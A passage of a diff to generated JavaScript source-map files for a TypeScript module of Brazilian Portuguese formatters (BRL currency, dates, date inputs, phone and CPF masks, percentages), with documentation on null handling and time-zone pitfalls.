}).format(value);\n}\n"],"mappings":"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"}
@@ -1 +1 @@
1
- {"version":3,"file":"format.js","names":[],"sources":["../../src/utils/format.ts"],"sourcesContent":["import { fallbackText, isAbsent, type FormatFallbackOptions } from \"@/utils/absent\";\nimport { dateTimeFormat, numberFormat } from \"@/utils/intl-cache\";\n\n/**\n * Format a number as Brazilian Real currency.\n *\n * An absent or unrepresentable amount renders as `\"—\"` rather than as a number.\n * That branch is a data-correctness fix, not cosmetics: `Intl` coerces `null` to\n * zero, so an amount the backend left out used to reach the screen as\n * **`\"R$ 0,00\"`** — a plausible figure a reader has no way to question — and\n * `undefined` as `\"R$ NaN\"`.\n *\n * @example\n * ```typescript\n * formatCurrency(1234.56); // \"R$ 1.234,56\"\n * formatCurrency(null); // \"—\"\n * formatCurrency(null, { fallback: \"sem valor\" }); // \"sem valor\"\n * ```\n *\n * @param value - The amount in BRL, or `null`/`undefined` when there is none.\n * @param options - Text to render when there is nothing to format.\n * @returns A locale-formatted string, e.g. \"R$ 1.234,56\".\n */\nexport function formatCurrency(\n value: number | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n return numberFormat(\"pt-BR\", { style: \"currency\", currency: \"BRL\" }).format(value);\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy`.\n *\n * Absent input answers `\"—\"`. It used to **throw**: `new Date(null)` is epoch and\n * `null.getTime` is a `TypeError`, so a nullable column — which is every\n * `deleted_at`, `expires_at` and half the `updated_at` a FastAPI backend sends —\n * took the screen down instead of rendering a gap.\n *\n * A value that is present and unparseable still answers `\"\"`, deliberately: on a\n * screen that reads a log, \"nobody filled this in\" and \"what they filled in is\n * broken\" are different findings, and the second is the one worth chasing.\n *\n * @example\n * ```typescript\n * formatDate(\"2026-05-16T12:00:00Z\"); // \"16/05/2026\"\n * formatDate(null); // \"—\"\n * formatDate(\"banana\"); // \"\"\n * ```\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted date string, the fallback when absent, or empty string when\n * the value is present and invalid.\n */\nexport function formatDate(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options);\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n return dateTimeFormat(\"pt-BR\").format(date);\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-dd`, the value an\n * `<input type=\"date\">` accepts.\n *\n * Built from the **local** calendar parts rather than `toISOString().slice(0, 10)`,\n * which is the reflex and which is wrong: `toISOString` converts to UTC first, so\n * anything after 21:00 in UTC-3 reports the next day and the form opens on the\n * wrong date. `formatDate` cannot fill this role because a date input rejects\n * `dd/MM/yyyy` outright.\n *\n * A value that is already `yyyy-MM-dd` is returned untouched, and that shortcut\n * is load-bearing rather than an optimisation: `new Date(\"2026-05-16\")` is parsed\n * as **UTC** midnight, which in UTC-3 is the 15th at 21:00, so round-tripping the\n * exact value a backend sent would move it back a day.\n *\n * @example\n * <input type=\"date\" defaultValue={formatDateForInput(order.createdAt)} />\n *\n * Absent input answers `\"\"` here — **not** the em dash the reading formatters\n * use — because that is what an input reads as \"no value\"; an em dash would\n * arrive as content the user has to delete before typing a date.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text for an absent value; defaults to `\"\"`.\n * @returns The `yyyy-MM-dd` value, or an empty string when the input is invalid —\n * which is what a date input reads as \"no value\", unlike `\"Invalid Date\"`.\n */\nexport function formatDateForInput(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options, \"\");\n if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}$/.test(value)) return value;\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n const day = `${date.getDate()}`.padStart(2, \"0\");\n return `${date.getFullYear()}-${month}-${day}`;\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-ddTHH:mm`, the value an\n * `<input type=\"datetime-local\">` accepts.\n *\n * The sibling of {@link formatDateForInput}, and it exists for the same reason:\n * `toISOString().slice(0, 16)` is the reflex and it is wrong. `toISOString`\n * converts to UTC first, so a 22:00 appointment in UTC-3 opens the form on the\n * next day at 01:00 — here the trap costs the hour as well as the date.\n *\n * A value already in `yyyy-MM-ddTHH:mm` is returned untouched. A value carrying\n * a zone (`...Z`, `...-03:00`) deliberately does **not** take that shortcut: it\n * is a different instant from the naive string that looks like it, so it is\n * converted to the local calendar parts the input has to show.\n *\n * Seconds are dropped. A `datetime-local` steps by the minute unless the app\n * sets `step`, so a `:ss` the field cannot represent would be silently discarded\n * on the first edit anyway — truncating here keeps the rendered value and the\n * submitted value the same.\n *\n * @example\n * <input\n * type=\"datetime-local\"\n * defaultValue={formatDateTimeForInput(appointment.startsAt)}\n * />\n *\n * @param value - ISO string or Date.\n * @returns The `yyyy-MM-ddTHH:mm` value, or an empty string when the input is\n * invalid — which is what a datetime input reads as \"no value\", unlike\n * `\"Invalid Date\"`.\n */\nexport function formatDateTimeForInput(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options, \"\");\n if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}$/.test(value)) return value;\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n const day = `${date.getDate()}`.padStart(2, \"0\");\n const hours = `${date.getHours()}`.padStart(2, \"0\");\n const minutes = `${date.getMinutes()}`.padStart(2, \"0\");\n return `${date.getFullYear()}-${month}-${day}T${hours}:${minutes}`;\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy HH:mm`.\n *\n * Same contract as {@link formatDate}: absent answers the fallback (`\"—\"` by\n * default) instead of throwing, and present-but-invalid answers `\"\"`.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted datetime string, the fallback when absent, or empty string\n * when the value is present and invalid.\n */\nexport function formatDateTime(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options);\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n return dateTimeFormat(\"pt-BR\", { dateStyle: \"short\", timeStyle: \"short\" }).format(date);\n}\n\nexport interface FormatPhoneOptions {\n /**\n * Treat the number as a mobile line: insert the mandatory `9` after the area\n * code when it is missing, and group the subscriber part `5+4` from the\n * first digit typed instead of waiting for the eleventh.\n *\n * Default `false`, which keeps the length-based behaviour: `4+4` up to ten\n * digits, `5+4` at eleven.\n */\n mobile?: boolean;\n}\n\n/**\n * Apply the Brazilian phone mask `(XX) XXXXX-XXXX` or `(XX) XXXX-XXXX`.\n *\n * By default the grouping is decided by **length**, which is what a field\n * accepting both landlines and mobiles needs.\n *\n * `mobile: true` is for a field that only accepts mobile numbers, and it exists\n * because the default is wrong as an as-you-type mask there. Reading anything up\n * to ten digits as a landline puts the hyphen after the fourth subscriber digit,\n * so a half-typed mobile renders `(11) 9123-4`; it only becomes `(11) 91234-5`\n * once the eleventh digit lands. The separator visibly jumps backwards while the\n * user is still typing. With `mobile`, the same input reads `(11) 91234` and the\n * hyphen never moves. It also inserts the leading `9` every Brazilian mobile\n * carries, so a ten-digit number gets corrected rather than masked as a landline.\n *\n * @param value - Raw digits or partially masked string.\n * @param options - Masking options.\n * @returns Masked phone string.\n *\n * @example\n * formatPhone(\"1191234\"); // \"(11) 9123-4\"\n * formatPhone(\"1191234\", { mobile: true }); // \"(11) 91234\"\n * formatPhone(\"1112345678\", { mobile: true }); // \"(11) 91234-5678\" — 9 inserted\n */\nexport function formatPhone(value: string, options: FormatPhoneOptions = {}): string {\n const digits = value.replace(/\\D/g, \"\").slice(0, 11);\n\n if (!options.mobile) {\n if (digits.length <= 10) {\n return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{4})(\\d)/, \"$1-$2\");\n }\n return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{5})(\\d)/, \"$1-$2\");\n }\n\n if (digits.length <= 2) return digits;\n\n const area = digits.slice(0, 2);\n let subscriber = digits.slice(2);\n if (subscriber[0] !== \"9\") subscriber = `9${subscriber}`;\n subscriber = subscriber.slice(0, 9);\n\n const prefix = subscriber.slice(0, 5);\n const suffix = subscriber.slice(5);\n return suffix ? `(${area}) ${prefix}-${suffix}` : `(${area}) ${prefix}`;\n}\n\n/**\n * Apply the Brazilian CPF mask `XXX.XXX.XXX-XX`.\n *\n * @param value - Raw digits or partially masked string.\n * @returns Masked CPF string.\n */\nexport function formatCPF(value: string): string {\n return value\n .replace(/\\D/g, \"\")\n .slice(0, 11)\n .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n .replace(/(\\d{3})(\\d{1,2})$/, \"$1-$2\");\n}\n\n/** How {@link formatPercent} renders a fraction. */\nexport interface FormatPercentOptions extends FormatFallbackOptions {\n /**\n * Decimal places to show, fixed (padded as well as truncated).\n *\n * Defaults to `1`, which is what the function always did. Two is the case\n * that produced this option: a confidence of 98,74% and one of 98,7% are the\n * same number on a summary card and two different readings on a detail\n * screen, so the precision belongs to the call site.\n */\n decimals?: number;\n}\n\n/**\n * Format a fraction (0-1) as a percentage.\n *\n * A non-finite input renders as `\"—\"` rather than `\"NaN%\"` or `\"∞%\"`, which is\n * what `Intl.NumberFormat` produces and what a division by zero upstream puts on\n * the screen. It matches `formatDurationMs`, which already answers that way.\n *\n * @example\n * ```typescript\n * formatPercent(0.9874); // \"98,7%\"\n * formatPercent(0.9874, { decimals: 2 }); // \"98,74%\"\n * formatPercent(0 / 0); // \"—\"\n * ```\n *\n * @param value - Fraction between 0 and 1.\n * @param options - Rendering options; `decimals` defaults to 1.\n * @returns Formatted percent string, e.g. \"12,5%\", or `\"—\"` for a non-finite input.\n */\nexport function formatPercent(\n value: number | null | undefined,\n options: FormatPercentOptions = {},\n): string {\n if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n const decimals = options.decimals ?? 1;\n return numberFormat(\"pt-BR\", {\n style: \"percent\",\n minimumFractionDigits: decimals,\n maximumFractionDigits: decimals,\n }).format(value);\n}\n"],"mappings":"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"}
1
+ {"version":3,"file":"format.js","names":["formatCurrency","isAbsent","value","fallbackText","options","numberFormat","formatDate","date","dateTimeFormat","formatDateForInput","month","day","formatDateTimeForInput","hours","minutes","formatDateTime","formatPhone","digits","area","subscriber","prefix","suffix","formatCPF","formatPercent","decimals"],"sources":["../../src/utils/format.ts"],"sourcesContent":["import { fallbackText, isAbsent, type FormatFallbackOptions } from \"@/utils/absent\";\nimport { dateTimeFormat, numberFormat } from \"@/utils/intl-cache\";\n\n/**\n * Format a number as Brazilian Real currency.\n *\n * An absent or unrepresentable amount renders as `\"—\"` rather than as a number.\n * That branch is a data-correctness fix, not cosmetics: `Intl` coerces `null` to\n * zero, so an amount the backend left out used to reach the screen as\n * **`\"R$ 0,00\"`** — a plausible figure a reader has no way to question — and\n * `undefined` as `\"R$ NaN\"`.\n *\n * @example\n * ```typescript\n * formatCurrency(1234.56); // \"R$ 1.234,56\"\n * formatCurrency(null); // \"—\"\n * formatCurrency(null, { fallback: \"sem valor\" }); // \"sem valor\"\n * ```\n *\n * @param value - The amount in BRL, or `null`/`undefined` when there is none.\n * @param options - Text to render when there is nothing to format.\n * @returns A locale-formatted string, e.g. \"R$ 1.234,56\".\n */\nexport function formatCurrency(\n value: number | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n return numberFormat(\"pt-BR\", { style: \"currency\", currency: \"BRL\" }).format(value);\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy`.\n *\n * Absent input answers `\"—\"`. It used to **throw**: `new Date(null)` is epoch and\n * `null.getTime` is a `TypeError`, so a nullable column — which is every\n * `deleted_at`, `expires_at` and half the `updated_at` a FastAPI backend sends —\n * took the screen down instead of rendering a gap.\n *\n * A value that is present and unparseable still answers `\"\"`, deliberately: on a\n * screen that reads a log, \"nobody filled this in\" and \"what they filled in is\n * broken\" are different findings, and the second is the one worth chasing.\n *\n * @example\n * ```typescript\n * formatDate(\"2026-05-16T12:00:00Z\"); // \"16/05/2026\"\n * formatDate(null); // \"—\"\n * formatDate(\"banana\"); // \"\"\n * ```\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted date string, the fallback when absent, or empty string when\n * the value is present and invalid.\n */\nexport function formatDate(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options);\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n return dateTimeFormat(\"pt-BR\").format(date);\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-dd`, the value an\n * `<input type=\"date\">` accepts.\n *\n * Built from the **local** calendar parts rather than `toISOString().slice(0, 10)`,\n * which is the reflex and which is wrong: `toISOString` converts to UTC first, so\n * anything after 21:00 in UTC-3 reports the next day and the form opens on the\n * wrong date. `formatDate` cannot fill this role because a date input rejects\n * `dd/MM/yyyy` outright.\n *\n * A value that is already `yyyy-MM-dd` is returned untouched, and that shortcut\n * is load-bearing rather than an optimisation: `new Date(\"2026-05-16\")` is parsed\n * as **UTC** midnight, which in UTC-3 is the 15th at 21:00, so round-tripping the\n * exact value a backend sent would move it back a day.\n *\n * @example\n * <input type=\"date\" defaultValue={formatDateForInput(order.createdAt)} />\n *\n * Absent input answers `\"\"` here — **not** the em dash the reading formatters\n * use — because that is what an input reads as \"no value\"; an em dash would\n * arrive as content the user has to delete before typing a date.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text for an absent value; defaults to `\"\"`.\n * @returns The `yyyy-MM-dd` value, or an empty string when the input is invalid —\n * which is what a date input reads as \"no value\", unlike `\"Invalid Date\"`.\n */\nexport function formatDateForInput(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options, \"\");\n if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}$/.test(value)) return value;\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n const day = `${date.getDate()}`.padStart(2, \"0\");\n return `${date.getFullYear()}-${month}-${day}`;\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-ddTHH:mm`, the value an\n * `<input type=\"datetime-local\">` accepts.\n *\n * The sibling of {@link formatDateForInput}, and it exists for the same reason:\n * `toISOString().slice(0, 16)` is the reflex and it is wrong. `toISOString`\n * converts to UTC first, so a 22:00 appointment in UTC-3 opens the form on the\n * next day at 01:00 — here the trap costs the hour as well as the date.\n *\n * A value already in `yyyy-MM-ddTHH:mm` is returned untouched. A value carrying\n * a zone (`...Z`, `...-03:00`) deliberately does **not** take that shortcut: it\n * is a different instant from the naive string that looks like it, so it is\n * converted to the local calendar parts the input has to show.\n *\n * Seconds are dropped. A `datetime-local` steps by the minute unless the app\n * sets `step`, so a `:ss` the field cannot represent would be silently discarded\n * on the first edit anyway — truncating here keeps the rendered value and the\n * submitted value the same.\n *\n * @example\n * <input\n * type=\"datetime-local\"\n * defaultValue={formatDateTimeForInput(appointment.startsAt)}\n * />\n *\n * @param value - ISO string or Date.\n * @returns The `yyyy-MM-ddTHH:mm` value, or an empty string when the input is\n * invalid — which is what a datetime input reads as \"no value\", unlike\n * `\"Invalid Date\"`.\n */\nexport function formatDateTimeForInput(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options, \"\");\n if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}$/.test(value)) return value;\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n const day = `${date.getDate()}`.padStart(2, \"0\");\n const hours = `${date.getHours()}`.padStart(2, \"0\");\n const minutes = `${date.getMinutes()}`.padStart(2, \"0\");\n return `${date.getFullYear()}-${month}-${day}T${hours}:${minutes}`;\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy HH:mm`.\n *\n * Same contract as {@link formatDate}: absent answers the fallback (`\"—\"` by\n * default) instead of throwing, and present-but-invalid answers `\"\"`.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted datetime string, the fallback when absent, or empty string\n * when the value is present and invalid.\n */\nexport function formatDateTime(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options);\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n return dateTimeFormat(\"pt-BR\", { dateStyle: \"short\", timeStyle: \"short\" }).format(date);\n}\n\nexport interface FormatPhoneOptions {\n /**\n * Treat the number as a mobile line: insert the mandatory `9` after the area\n * code when it is missing, and group the subscriber part `5+4` from the\n * first digit typed instead of waiting for the eleventh.\n *\n * Default `false`, which keeps the length-based behaviour: `4+4` up to ten\n * digits, `5+4` at eleven.\n */\n mobile?: boolean;\n}\n\n/**\n * Apply the Brazilian phone mask `(XX) XXXXX-XXXX` or `(XX) XXXX-XXXX`.\n *\n * By default the grouping is decided by **length**, which is what a field\n * accepting both landlines and mobiles needs.\n *\n * `mobile: true` is for a field that only accepts mobile numbers, and it exists\n * because the default is wrong as an as-you-type mask there. Reading anything up\n * to ten digits as a landline puts the hyphen after the fourth subscriber digit,\n * so a half-typed mobile renders `(11) 9123-4`; it only becomes `(11) 91234-5`\n * once the eleventh digit lands. The separator visibly jumps backwards while the\n * user is still typing. With `mobile`, the same input reads `(11) 91234` and the\n * hyphen never moves. It also inserts the leading `9` every Brazilian mobile\n * carries, so a ten-digit number gets corrected rather than masked as a landline.\n *\n * @param value - Raw digits or partially masked string.\n * @param options - Masking options.\n * @returns Masked phone string.\n *\n * @example\n * formatPhone(\"1191234\"); // \"(11) 9123-4\"\n * formatPhone(\"1191234\", { mobile: true }); // \"(11) 91234\"\n * formatPhone(\"1112345678\", { mobile: true }); // \"(11) 91234-5678\" — 9 inserted\n */\nexport function formatPhone(value: string, options: FormatPhoneOptions = {}): string {\n const digits = value.replace(/\\D/g, \"\").slice(0, 11);\n\n if (!options.mobile) {\n if (digits.length <= 10) {\n return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{4})(\\d)/, \"$1-$2\");\n }\n return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{5})(\\d)/, \"$1-$2\");\n }\n\n if (digits.length <= 2) return digits;\n\n const area = digits.slice(0, 2);\n let subscriber = digits.slice(2);\n if (subscriber[0] !== \"9\") subscriber = `9${subscriber}`;\n subscriber = subscriber.slice(0, 9);\n\n const prefix = subscriber.slice(0, 5);\n const suffix = subscriber.slice(5);\n return suffix ? `(${area}) ${prefix}-${suffix}` : `(${area}) ${prefix}`;\n}\n\n/**\n * Apply the Brazilian CPF mask `XXX.XXX.XXX-XX`.\n *\n * @param value - Raw digits or partially masked string.\n * @returns Masked CPF string.\n */\nexport function formatCPF(value: string): string {\n return value\n .replace(/\\D/g, \"\")\n .slice(0, 11)\n .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n .replace(/(\\d{3})(\\d{1,2})$/, 